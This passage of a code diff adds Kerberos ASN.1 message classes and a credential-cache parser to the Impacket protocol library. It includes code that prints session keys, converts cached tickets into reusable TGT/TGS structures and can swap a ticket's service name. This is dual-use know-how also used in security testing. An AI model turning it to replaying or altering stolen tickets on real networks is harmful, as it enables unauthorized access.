+class PA_DATA(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('padata-type', 1, Int32()),
+        _sequence_component('padata-value', 2, univ.OctetString())
+        )
+
+class KerberosFlags(univ.BitString):
+    # TODO marc: it doesn't look like there's any way to specify the
+    # SIZE (32.. MAX) parameter to the encoder.  However, we can
+    # arrange at a higher layer to pass in >= 32 bits to the encoder.
+    pass
+
+class EncryptedData(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component("etype", 0, Int32()),
+        _sequence_optional_component("kvno", 1, UInt32()),
+        _sequence_component("cipher", 2, univ.OctetString())
+        )
+
+class EncryptionKey(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('keytype', 0, Int32()),
+        _sequence_component('keyvalue', 1, univ.OctetString()))
+
+class Checksum(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('cksumtype', 0, Int32()),
+        _sequence_component('checksum', 1, univ.OctetString()))
+
+class Ticket(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.Ticket.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(name="tkt-vno", tag_value=0),
+        _sequence_component("realm", 1, Realm()),
+        _sequence_component("sname", 2, PrincipalName()),
+        _sequence_component("enc-part", 3, EncryptedData())
+        )
+
+class TicketFlags(KerberosFlags):
+    pass
+
+class TransitedEncoding(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('tr-type', 0, Int32()),
+        _sequence_component('contents', 1, univ.OctetString()))
+
+class EncTicketPart(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.EncTicketPart.value)
+    componentType = namedtype.NamedTypes(
+        _sequence_component("flags", 0, TicketFlags()),
+        _sequence_component("key", 1, EncryptionKey()),
+        _sequence_component("crealm", 2, Realm()),
+        _sequence_component("cname", 3, PrincipalName()),
+        _sequence_component("transited", 4, TransitedEncoding()),
+        _sequence_component("authtime", 5, KerberosTime()),
+        _sequence_optional_component("starttime", 6, KerberosTime()),
+        _sequence_component("endtime", 7, KerberosTime()),
+        _sequence_optional_component("renew-till", 8, KerberosTime()),
+        _sequence_optional_component("caddr", 9, HostAddresses()),
+        _sequence_optional_component("authorization-data", 10, AuthorizationData())
+        )
+
+class KDCOptions(KerberosFlags):
+    pass
+
+class KDC_REQ_BODY(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('kdc-options', 0, KDCOptions()),
+        _sequence_optional_component('cname', 1, PrincipalName()),
+        _sequence_component('realm', 2, Realm()),
+        _sequence_optional_component('sname', 3, PrincipalName()),
+        _sequence_optional_component('from', 4, KerberosTime()),
+        _sequence_component('till', 5, KerberosTime()),
+        _sequence_optional_component('rtime', 6, KerberosTime()),
+        _sequence_component('nonce', 7, UInt32()),
+        _sequence_component('etype', 8,
+                            univ.SequenceOf(componentType=Int32())),
+        _sequence_optional_component('addresses', 9, HostAddresses()),
+        _sequence_optional_component('enc-authorization-data', 10,
+                                     EncryptedData()),
+        _sequence_optional_component('additional-tickets', 11,
+                                     univ.SequenceOf(componentType=Ticket()))
+        )
+
+class KDC_REQ(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _vno_component(1),
+        _msg_type_component(2, (constants.ApplicationTagNumbers.AS_REQ.value,
+                                constants.ApplicationTagNumbers.TGS_REQ.value)),
+        _sequence_optional_component('padata', 3,
+                                     univ.SequenceOf(componentType=PA_DATA())),
+        _sequence_component('req-body', 4, KDC_REQ_BODY())
+        )
+
+class AS_REQ(KDC_REQ):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REQ.value)
+
+class TGS_REQ(KDC_REQ):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REQ.value)
+
+class KDC_REP(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.AS_REP.value,
+                                constants.ApplicationTagNumbers.TGS_REP.value)),
+        _sequence_optional_component('padata', 2,
+                                     univ.SequenceOf(componentType=PA_DATA())),
+        _sequence_component('crealm', 3, Realm()),
+        _sequence_component('cname', 4, PrincipalName()),
+        _sequence_component('ticket', 5, Ticket()),
+        _sequence_component('enc-part', 6, EncryptedData())
+        )
+
+class LastReq(univ.SequenceOf):
+    componentType = univ.Sequence(componentType=namedtype.NamedTypes(
+        _sequence_component('lr-type', 0, Int32()),
+        _sequence_component('lr-value', 1, KerberosTime())
+        ))
+
+class METHOD_DATA(univ.SequenceOf):
+    componentType = PA_DATA()
+
+class EncKDCRepPart(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('key', 0, EncryptionKey()),
+        _sequence_component('last-req', 1, LastReq()),
+        _sequence_component('nonce', 2, UInt32()),
+        _sequence_optional_component('key-expiration', 3, KerberosTime()),
+        _sequence_component('flags', 4, TicketFlags()),
+        _sequence_component('authtime', 5, KerberosTime()),
+        _sequence_optional_component('starttime', 6, KerberosTime()),
+        _sequence_component('endtime', 7, KerberosTime()),
+        _sequence_optional_component('renew-till', 8, KerberosTime()),
+        _sequence_component('srealm', 9, Realm()),
+        _sequence_component('sname', 10, PrincipalName()),
+        _sequence_optional_component('caddr', 11, HostAddresses()),
+        _sequence_optional_component('encrypted_pa_data', 12, METHOD_DATA())
+        )
+
+class EncASRepPart(EncKDCRepPart):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.EncASRepPart.value)
+
+class EncTGSRepPart(EncKDCRepPart):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.EncTGSRepPart.value)
+
+class AS_REP(KDC_REP):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REP.value)
+
+class TGS_REP(KDC_REP):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REP.value)
+
+class APOptions(KerberosFlags):
+    pass
+
+class Authenticator(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.Authenticator.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(name='authenticator-vno', tag_value=0),
+        _sequence_component('crealm', 1, Realm()),
+        _sequence_component('cname', 2, PrincipalName()),
+        _sequence_optional_component('cksum', 3, Checksum()),
+        _sequence_component('cusec', 4, Microseconds()),
+        _sequence_component('ctime', 5, KerberosTime()),
+        _sequence_optional_component('subkey', 6, EncryptionKey()),
+        _sequence_optional_component('seq-number', 7, UInt32()),
+        _sequence_optional_component('authorization-data', 8,
+                                     AuthorizationData())
+        )
+
+class AP_REQ(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REQ.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.AP_REQ.value,)),
+        _sequence_component('ap-options', 2, APOptions()),
+        _sequence_component('ticket', 3, Ticket()),
+        _sequence_component('authenticator', 4, EncryptedData())
+        )
+
+class AP_REP(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REP.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.AP_REP.value,)),
+        _sequence_component('enc-part', 2, EncryptedData()),
+        )
+
+class EncAPRepPart(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.EncApRepPart.value)
+    componentType = namedtype.NamedTypes(
+        _sequence_component('ctime', 0, KerberosTime()),
+        _sequence_component('cusec', 1, Microseconds()),
+        _sequence_optional_component('subkey', 2, EncryptionKey()),
+        _sequence_optional_component('seq-number', 3, UInt32()),
+        )
+
+class KRB_SAFE_BODY(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('user-data', 0, univ.OctetString()),
+        _sequence_optional_component('timestamp', 1, KerberosTime()),
+        _sequence_optional_component('usec', 2, Microseconds()),
+        _sequence_optional_component('seq-number', 3, UInt32()),
+        _sequence_component('s-address', 4, HostAddress()),
+        _sequence_optional_component('r-address', 5, HostAddress()),
+        )
+
+class KRB_SAFE(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_SAFE.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_SAFE.value,)),
+        _sequence_component('safe-body', 2, KRB_SAFE_BODY()),
+        _sequence_component('cksum', 3, Checksum()),
+        )
+
+class KRB_PRIV(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_PRIV.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_PRIV.value,)),
+        _sequence_component('enc-part', 3, EncryptedData()),
+        )
+
+class EncKrbPrivPart(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbPrivPart.value)
+    componentType = namedtype.NamedTypes(
+        _sequence_component('user-data', 0, univ.OctetString()),
+        _sequence_optional_component('timestamp', 1, KerberosTime()),
+        _sequence_optional_component('cusec', 2, Microseconds()),
+        _sequence_optional_component('seq-number', 3, UInt32()),
+        _sequence_component('s-address', 4, HostAddress()),
+        _sequence_optional_component('r-address', 5, HostAddress()),
+        )
+
+class KRB_CRED(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_CRED.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_CRED.value,)),
+        _sequence_optional_component('tickets', 2,
+                                     univ.SequenceOf(componentType=Ticket())),
+        _sequence_component('enc-part', 3, EncryptedData()),
+        )
+
+class KrbCredInfo(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('key', 0, EncryptionKey()),
+        _sequence_optional_component('prealm', 1, Realm()),
+        _sequence_optional_component('pname', 2, PrincipalName()),
+        _sequence_optional_component('flags', 3, TicketFlags()),
+        _sequence_optional_component('authtime', 4, KerberosTime()),
+        _sequence_optional_component('starttime', 5, KerberosTime()),
+        _sequence_optional_component('endtime', 6, KerberosTime()),
+        _sequence_optional_component('renew-till', 7, KerberosTime()),
+        _sequence_optional_component('srealm', 8, Realm()),
+        _sequence_optional_component('sname', 9, PrincipalName()),
+        _sequence_optional_component('caddr', 10, HostAddresses()),
+        )
+
+class EncKrbCredPart(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbCredPart.value)
+    componentType = namedtype.NamedTypes(
+        _sequence_component('ticket-info', 0, univ.SequenceOf(componentType=KrbCredInfo())),
+        _sequence_optional_component('nonce', 1, UInt32()),
+        _sequence_optional_component('timestamp', 2, KerberosTime()),
+        _sequence_optional_component('usec', 3, Microseconds()),
+        _sequence_optional_component('s-address', 4, HostAddress()),
+        _sequence_optional_component('r-address', 5, HostAddress()),
+        )
+
+class KRB_ERROR(univ.Sequence):
+    tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_ERROR.value)
+    componentType = namedtype.NamedTypes(
+        _vno_component(0),
+        _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_ERROR.value,)),
+        _sequence_optional_component('ctime', 2, KerberosTime()),
+        _sequence_optional_component('cusec', 3, Microseconds()),
+        _sequence_component('stime', 4, KerberosTime()),
+        _sequence_component('susec', 5, Microseconds()),
+        _sequence_component('error-code', 6, Int32()),
+        _sequence_optional_component('crealm', 7, Realm()),
+        _sequence_optional_component('cname', 8, PrincipalName()),
+        _sequence_component('realm', 9, Realm()),
+        _sequence_component('sname', 10, PrincipalName()),
+        _sequence_optional_component('e-text', 11, KerberosString()),
+        _sequence_optional_component('e-data', 12, univ.OctetString())
+        )
+
+class TYPED_DATA(univ.SequenceOf):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('data-type', 0, Int32()),
+        _sequence_optional_component('data-value', 1, univ.OctetString()),
+    )
+
+class PA_ENC_TIMESTAMP(EncryptedData):
+    pass
+
+class PA_ENC_TS_ENC(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('patimestamp', 0, KerberosTime()),
+        _sequence_optional_component('pausec', 1, Microseconds()))
+
+class ETYPE_INFO_ENTRY(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('etype', 0, Int32()),
+        _sequence_optional_component('salt', 1, univ.OctetString()))
+
+class ETYPE_INFO(univ.SequenceOf):
+    componentType = ETYPE_INFO_ENTRY()
+
+class ETYPE_INFO2_ENTRY(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('etype', 0, Int32()),
+        _sequence_optional_component('salt', 1, KerberosString()),
+        _sequence_optional_component('s2kparams', 2, univ.OctetString()))
+
+class ETYPE_INFO2(univ.SequenceOf):
+    componentType = ETYPE_INFO2_ENTRY()
+
+class AD_IF_RELEVANT(AuthorizationData):
+    pass
+
+class AD_KDCIssued(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('ad-checksum', 0, Checksum()),
+        _sequence_optional_component('i-realm', 1, Realm()),
+        _sequence_optional_component('i-sname', 2, PrincipalName()),
+        _sequence_component('elements', 3, AuthorizationData()))
+
+class AD_AND_OR(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('condition-count', 0, Int32()),
+        _sequence_optional_component('elements', 1, AuthorizationData()))
+
+class AD_MANDATORY_FOR_KDC(AuthorizationData):
+    pass
+
+class KERB_PA_PAC_REQUEST(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+    namedtype.NamedType('include-pac', univ.Boolean().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))),
+    )
+
+class PA_FOR_USER_ENC(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('userName', 0, PrincipalName()),
+        _sequence_optional_component('userRealm', 1, Realm()),
+        _sequence_optional_component('cksum', 2, Checksum()),
+        _sequence_optional_component('auth-package', 3, KerberosString()))
+
+class KERB_ERROR_DATA(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('data-type', 1, Int32()),
+        _sequence_component('data-value', 2, univ.OctetString()))
+
+class PA_PAC_OPTIONS(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        _sequence_component('flags', 0, KerberosFlags()),
+    )
+
+class KERB_KEY_LIST_REQ(univ.SequenceOf):
+    componentType = Int32()
+
+class KERB_KEY_LIST_REP(univ.SequenceOf):
+    componentType = EncryptionKey()
diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py
new file mode 100644
index 0000000..a8e74ec
--- /dev/null
+++ b/impacket/krb5/ccache.py
@@ -0,0 +1,776 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Kerberos Credential Cache format implementation
+#   based on file format described at:
+#   https://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/ccache.txt
+#   Pretty lame and quick implementation, not a fun thing to do
+#   Contribution is welcome to make it the right way
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from datetime import datetime
+import os
+from struct import pack, unpack, calcsize
+from six import b, PY2
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+from binascii import hexlify
+
+from impacket.structure import Structure
+from impacket.krb5 import crypto, constants, types
+from impacket.krb5.asn1 import AS_REP, seq_set, TGS_REP, EncTGSRepPart, EncASRepPart, Ticket, KRB_CRED, \
+    EncKrbCredPart, KrbCredInfo, seq_set_iter
+from impacket.krb5.types import KerberosTime
+from impacket import LOG
+
+try:
+    FileNotFoundError
+except NameError:
+    FileNotFoundError = IOError
+
+DELTA_TIME = 1
+
+class Header(Structure):
+    structure = (
+        ('tag','!H=0'),
+        ('taglen','!H=0'),
+        ('_tagdata','_-tagdata','self["taglen"]'),
+        ('tagdata',':'),
+    )
+
+class DeltaTime(Structure):
+    structure = (
+        ('time_offset','!L=0'),
+        ('usec_offset','!L=0'),
+    )
+
+class CountedOctetString(Structure):
+    structure = (
+        ('length','!L=0'),
+        ('_data','_-data','self["length"]'),
+        ('data',':'),
+    )
+
+    def prettyPrint(self, indent=''):
+        return "%s%s" % (indent, hexlify(self['data']))
+
+
+class KeyBlockV3(Structure):
+    structure = (
+        ('keytype','!H=0'),
+        ('etype','!H=0'),
+        ('etype2', '!H=0'),  # Version 3 repeats the etype
+        ('keylen','!H=0'),
+        ('_keyvalue','_-keyvalue','self["keylen"]'),
+        ('keyvalue',':'),
+    )
+
+    def prettyPrint(self):
+        return "Key: (0x%x)%s" % (self['keytype'], hexlify(self['keyvalue']))
+
+
+class KeyBlockV4(Structure):
+    structure = (
+        ('keytype','!H=0'),
+        ('etype','!H=0'),
+        ('keylen','!H=0'),
+        ('_keyvalue','_-keyvalue','self["keylen"]'),
+        ('keyvalue',':'),
+    )
+
+    def prettyPrint(self):
+        return "Key: (0x%x)%s" % (self['keytype'], hexlify(self['keyvalue']))
+
+class Times(Structure):
+    structure = (
+        ('authtime','!L=0'),
+        ('starttime','!L=0'),
+        ('endtime','!L=0'),
+        ('renew_till','!L=0'),
+    )
+    def prettyPrint(self, indent = ''):
+        print(("%sAuth : %s" % (indent, datetime.fromtimestamp(self['authtime']).isoformat())))
+        print(("%sStart: %s" % (indent, datetime.fromtimestamp(self['starttime']).isoformat())))
+        print(("%sEnd  : %s" % (indent, datetime.fromtimestamp(self['endtime']).isoformat())))
+        print(("%sRenew: %s" % (indent, datetime.fromtimestamp(self['renew_till']).isoformat())))
+
+class Address(Structure):
+    structure = (
+        ('addrtype','!H=0'),
+        ('addrdata',':', CountedOctetString),
+    )
+
+class AuthData(Structure):
+    structure = (
+        ('authtype','!H=0'),
+        ('authdata',':', CountedOctetString),
+    )
+
+class Principal:
+    class PrincipalHeader(Structure):
+        structure = (
+            ('name_type','!L=0'),
+            ('num_components','!L=0'),
+        )
+    def __init__(self, data=None):
+        self.components = []
+        self.realm = None
+        if data is not None:
+            self.header = self.PrincipalHeader(data)
+            data = data[len(self.header):]
+            self.realm = CountedOctetString(data)
+            data = data[len(self.realm):]
+            self.components = []
+            for component in range(self.header['num_components']):
+                comp = CountedOctetString(data)
+                data = data[len(comp):]
+                self.components.append(comp)
+        else:
+            self.header = self.PrincipalHeader()
+
+    def __len__(self):
+        totalLen = len(self.header) + len(self.realm)
+        for i in self.components:
+            totalLen += len(i)
+        return totalLen
+
+    def getData(self):
+        data = self.header.getData() + self.realm.getData()
+        for component in self.components:
+            data += component.getData()
+        return data
+
+    def __str__(self):
+        return self.getData()
+
+    def prettyPrint(self):
+        principal = b''
+        for component in self.components:
+            if isinstance(component['data'], bytes) is not True:
+                component = b(component['data'])
+            else:
+                component = component['data']
+            principal += component + b'/'
+
+        principal = principal[:-1]
+        if isinstance(self.realm['data'], bytes):
+            realm = self.realm['data']
+        else:
+            realm = b(self.realm['data'])
+        principal += b'@' + realm
+        return principal
+
+    def fromPrincipal(self, principal):
+        self.header['name_type'] = principal.type
+        self.header['num_components'] = len(principal.components)
+        octetString = CountedOctetString()
+        octetString['length'] = len(principal.realm)
+        octetString['data'] = principal.realm
+        self.realm = octetString
+        self.components = []
+        for c in principal.components:
+            octetString = CountedOctetString()
+            octetString['length'] = len(c)
+            octetString['data'] = c
+            self.components.append(octetString)
+
+    def toPrincipal(self):
+        return types.Principal(self.prettyPrint(), type=self.header['name_type'])
+
+class Credential:
+    class CredentialHeaderV3(Structure):
+        structure = (
+            ('client',':', Principal),
+            ('server',':', Principal),
+            ('key',':', KeyBlockV3),
+            ('time',':', Times),
+            ('is_skey','B=0'),
+            ('tktflags','!L=0'),
+            ('num_address','!L=0'),
+        )
+
+    class CredentialHeaderV4(Structure):
+        structure = (
+            ('client',':', Principal),
+            ('server',':', Principal),
+            ('key',':', KeyBlockV4),
+            ('time',':', Times),
+            ('is_skey','B=0'),
+            ('tktflags','!L=0'),
+            ('num_address','!L=0'),
+        )
+
+    def __init__(self, data=None, ccache_version=None):
+        self.addresses = ()
+        self.authData = ()
+        self.header = None
+        self.ticket = None
+        self.secondTicket = None
+
+        if data is not None:
+            if ccache_version == 3:
+                self.header = self.CredentialHeaderV3(data)
+            else:
+                self.header = self.CredentialHeaderV4(data)
+
+            data = data[len(self.header):]
+            self.addresses = []
+            for address in range(self.header['num_address']):
+                ad = Address(data)
+                data = data[len(ad):]
+                self.addresses.append(ad)
+            num_authdata = unpack('!L', data[:4])[0]
+            data = data[calcsize('!L'):]
+            for authdata in range(num_authdata):
+                ad = AuthData(data)
+                data = data[len(ad):]
+                self.authData.append(ad)
+            self.ticket = CountedOctetString(data)
+            data = data[len(self.ticket):]
+            self.secondTicket = CountedOctetString(data)
+            data = data[len( self.secondTicket):]
+        else:
+            self.header = self.CredentialHeaderV4()
+
+    def __getitem__(self, key):
+        return self.header[key]
+
+    def __setitem__(self, item, value):
+        self.header[item] = value
+
+    def getServerPrincipal(self):
+        return self.header['server'].prettyPrint()
+
+    def __len__(self):
+        totalLen = len(self.header)
+        for i in self.addresses:
+            totalLen += len(i)
+        totalLen += calcsize('!L')
+        for i in self.authData:
+            totalLen += len(i)
+        totalLen += len(self.ticket)
+        totalLen += len(self.secondTicket)
+        return totalLen
+
+    def dump(self):
+        self.header.dump()
+
+    def getData(self):
+        data = self.header.getData()
+        for i in self.addresses:
+            data += i.getData()
+        data += pack('!L', len(self.authData))
+        for i in self.authData:
+            data += i.getData()
+        data += self.ticket.getData()
+        data += self.secondTicket.getData()
+        return data
+
+    def __str__(self):
+        return self.getData()
+
+    def prettyPrint(self, indent=''):
+        print(("%sClient: %s" % (indent, self.header['client'].prettyPrint())))
+        print(("%sServer: %s" % (indent, self.header['server'].prettyPrint())))
+        print(("%s%s" % (indent, self.header['key'].prettyPrint())))
+        print(("%sTimes: " % indent))
+        self.header['time'].prettyPrint('\t\t')
+        print(("%sSubKey: %s" % (indent, self.header['is_skey'])))
+        print(("%sFlags: 0x%x" % (indent, self.header['tktflags'])))
+        print(("%sAddresses: %d" % (indent, self.header['num_address'])))
+        for address in self.addresses:
+            address.prettyPrint('\t\t')
+        print(("%sAuth Data: %d" % (indent, len(self.authData))))
+        for ad in self.authData:
+            ad.prettyPrint('\t\t')
+        print(("%sTicket: %s" % (indent, self.ticket.prettyPrint())))
+        print(("%sSecond Ticket: %s" % (indent, self.secondTicket.prettyPrint())))
+
+    def toTGT(self):
+        tgt_rep = AS_REP()
+        tgt_rep['pvno'] = 5
+        tgt_rep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value)
+        tgt_rep['crealm'] = self['server'].realm['data']
+
+        # Fake EncryptedData
+        tgt_rep['enc-part'] = noValue
+        tgt_rep['enc-part']['etype'] = 1
+        tgt_rep['enc-part']['cipher'] = ''
+        seq_set(tgt_rep, 'cname', self['client'].toPrincipal().components_to_asn1)
+        ticket = types.Ticket()
+        ticket.from_asn1(self.ticket['data'])
+        seq_set(tgt_rep,'ticket', ticket.to_asn1)
+
+        cipher = crypto._enctype_table[self['key']['keytype']]()
+
+        tgt = dict()
+        tgt['KDC_REP'] = encoder.encode(tgt_rep)
+        tgt['cipher'] = cipher
+        tgt['sessionKey'] = crypto.Key(cipher.enctype, self['key']['keyvalue'])
+        return tgt
+
+    def toTGS(self, newSPN=None):
+        tgs_rep = TGS_REP()
+        tgs_rep['pvno'] = 5
+        tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value)
+        tgs_rep['crealm'] = self['server'].realm['data']
+
+        # Fake EncryptedData
+        tgs_rep['enc-part'] = noValue
+        tgs_rep['enc-part']['etype'] = 1
+        tgs_rep['enc-part']['cipher'] = ''
+        seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1)
+        ticket = types.Ticket()
+        ticket.from_asn1(self.ticket['data'])
+        if newSPN is not None:
+            if newSPN.upper() != str(ticket.service_principal).upper():
+                LOG.debug('Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN) )
+                ticket.service_principal = types.Principal(newSPN, type=int(ticket.service_principal.type))
+        seq_set(tgs_rep,'ticket', ticket.to_asn1)
+
+        cipher = crypto._enctype_table[self['key']['keytype']]()
+
+        tgs = dict()
+        tgs['KDC_REP'] = encoder.encode(tgs_rep)
+        tgs['cipher'] = cipher
+        tgs['sessionKey'] = crypto.Key(cipher.enctype, self['key']['keyvalue'])
+        return tgs
+
+
+class CCache:
+    # https://web.mit.edu/kerberos/krb5-devel/doc/formats/ccache_file_format.html
+
+    class MiniHeader(Structure):
+        structure = (
+            ('file_format_version','!H=0x0504'),
+            ('headerlen','!H=12'),
+        )
+
+    def __init__(self, data = None):
+        self.headers = None
+        self.principal = None
+        self.credentials = []
+        self.miniHeader = None
+
+        if data is not None:
+            if PY2:
+                ccache_version = unpack('>B', data[1])[0]
+            else:
+                ccache_version = data[1]
+
+            # Versions 1 and 2 are not implemented yet
+            if ccache_version == 1 or ccache_version == 2:
+                raise NotImplementedError('Not Implemented!')
+
+            # Only Version 4 contains a header
+            if ccache_version == 4:
+                miniHeader = self.MiniHeader(data)
+                data = data[len(miniHeader.getData()):]
+
+                headerLen = miniHeader['headerlen']
+
+                self.headers = []
+                while headerLen > 0:
+                    header = Header(data)
+                    self.headers.append(header)
+                    headerLen -= len(header)
+                    data = data[len(header):]
+            else:
+                # Skip over the version bytes
+                data = data[2:]
+
+            # Now the primary_principal
+            self.principal = Principal(data)
+
+            data = data[len(self.principal):]
+
+            # Now let's parse the credentials
+            self.credentials = []
+            while len(data) > 0:
+                cred = Credential(data, ccache_version)
+                if cred['server'].prettyPrint().find(b'krb5_ccache_conf_data') < 0:
+                    self.credentials.append(cred)
+                data = data[len(cred.getData()):]
+
+    def getData(self):
+        data = self.MiniHeader().getData()
+        for header in self.headers:
+            data += header.getData()
+        data += self.principal.getData()
+        for credential in self.credentials:
+            data += credential.getData()
+        return data
+
+    def getCredential(self, server, anySPN=True):
+        for c in self.credentials:
+            if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\
+                    or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]):
+                LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8'))
+                return c
+        LOG.debug('SPN %s not found in cache' % server.upper())
+        if anySPN is True:
+            LOG.debug('AnySPN is True, looking for another suitable SPN')
+            for c in self.credentials:
+                # Let's search for any TGT/TGS that matches the server w/o the SPN's service type/port, returns
+                # the first one
+                if c['server'].prettyPrint().find(b'/') >=0:
+                    # Let's take the port out for comparison
+                    cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1])
+                    searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0],
+                                               server.upper().split('/')[1].split('@')[1])
+                    if cachedSPN == b(searchSPN):
+                        LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8'))
+                        return c
+
+        return None
+
+    def toTimeStamp(self, dt, epoch=datetime(1970,1,1)):
+        td = dt - epoch
+        # return td.total_seconds()
+        return int((td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) // 1e6)
+
+    def reverseFlags(self, flags):
+        result = 0
+        if isinstance(flags, str):
+            flags = flags[1:-2]
+        for i,j in enumerate(reversed(flags)):
+            if j != 0:
+                result += j << i
+        return result
+
+    def fromTGT(self, tgt, oldSessionKey, sessionKey):
+        self.headers = []
+        header = Header()
+        header['tag'] = 1
+        header['taglen'] = 8
+        header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00'
+        self.headers.append(header)
+
+        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+
+        tmpPrincipal = types.Principal()
+        tmpPrincipal.from_asn1(decodedTGT, 'crealm', 'cname')
+        self.principal = Principal()
+        self.principal.fromPrincipal(tmpPrincipal)
+
+        # Now let's add the credential
+        cipherText = decodedTGT['enc-part']['cipher']
+
+        cipher = crypto._enctype_table[decodedTGT['enc-part']['etype']]
+
+        # Key Usage 3
+        # AS-REP encrypted part (includes TGS session key or
+        # application session key), encrypted with the client key
+        # (Section 5.4.2)
+        plainText = cipher.decrypt(oldSessionKey, 3, cipherText)
+
+        encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
+        credential = Credential()
+        server = types.Principal()
+        server.from_asn1(encASRepPart, 'srealm', 'sname')
+        tmpServer = Principal()
+        tmpServer.fromPrincipal(server)
+
+        credential['client'] = self.principal
+        credential['server'] = tmpServer
+        credential['is_skey'] = 0
+
+        credential['key'] = KeyBlockV4()
+        credential['key']['keytype'] = int(encASRepPart['key']['keytype'])
+        credential['key']['keyvalue'] = encASRepPart['key']['keyvalue'].asOctets()
+        credential['key']['keylen'] = len(credential['key']['keyvalue'])
+
+        credential['time'] = Times()
+        credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['authtime']))
+        credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
+        credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['endtime']))
+        credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))
+
+        flags = self.reverseFlags(encASRepPart['flags'])
+        credential['tktflags'] = flags
+
+        credential['num_address'] = 0
+        credential.ticket = CountedOctetString()
+        credential.ticket['data'] = encoder.encode(decodedTGT['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
+        credential.ticket['length'] = len(credential.ticket['data'])
+        credential.secondTicket = CountedOctetString()
